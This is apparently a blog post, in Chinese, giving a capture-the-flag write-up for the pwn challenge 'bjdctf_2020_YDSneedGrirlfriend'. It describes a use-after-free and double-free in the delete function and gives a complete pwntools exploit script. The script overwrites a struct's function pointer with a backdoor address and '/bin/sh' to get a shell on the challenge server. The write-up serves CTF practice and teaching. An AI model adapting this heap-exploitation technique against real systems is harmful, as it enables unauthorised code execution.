zoukankan      html  css  js  c++  java
  • bjdctf_2020_YDSneedGrirlfriend

    流程分析

    这个是比较简单的,跳过

    漏洞利用

    由于delete函数有uaf漏洞,还有后门函数,所以可以劫持girlfriendlist的puts函数,在把/bin/sh的地址放在+8的偏移上即可

    1. 先创建两个0x10的结构体,程序会创建4个
    2. double free掉第0个
    3. 申请一个0x32的,这时堆的情况是第0个的girlfriendlist结构体是空的,我们可以控制这个结构体里的函数了,劫持
    from pwn import *
    
    #p=process('./bjdctf_2020_YDSneedGrirlfriend')
    p=remote('node3.buuoj.cn',27473)
    context.log_level='debug'
    def add(size,content):
        p.recvuntil('choice :')
        p.sendline('1')
        p.recvuntil('is :')
        p.sendline(str(size))
        p.recvuntil('is :')
        p.sendline(content)
    
    def delete(idx):
        p.recvuntil('choice :')
        p.sendline('2')
        p.recvuntil('Index :')
        p.sendline(str(idx))
    
    def print_fun(idx):
        p.recvuntil('choice :')
        p.sendline('3')
        p.recvuntil('Index :')
        p.sendline(str(idx))
    
    sys_addr=0x400B9C
    bin_sh=0x400E00
    add(0x10,'pppp')
    add(0x10,'pppp')
    
    delete(0)
    delete(0)
    
    add(0x20,'pppp')
    add(0x10,p64(sys_addr)+p64(bin_sh))
    #gdb.attach(p)
    print_fun(0)
    
    p.interactive()
  • 相关阅读:
    spring容器启动
    springmvc流程
    bean作用域
    bean的生命周期
    web.xml详解
    设计模式 工厂和抽象工厂
    requests 模块
    爬虫基础
    提高级
    循环语句
  • 原文地址:https://www.cnblogs.com/pppyyyzzz/p/13978833.html
Copyright © 2011-2022 走看看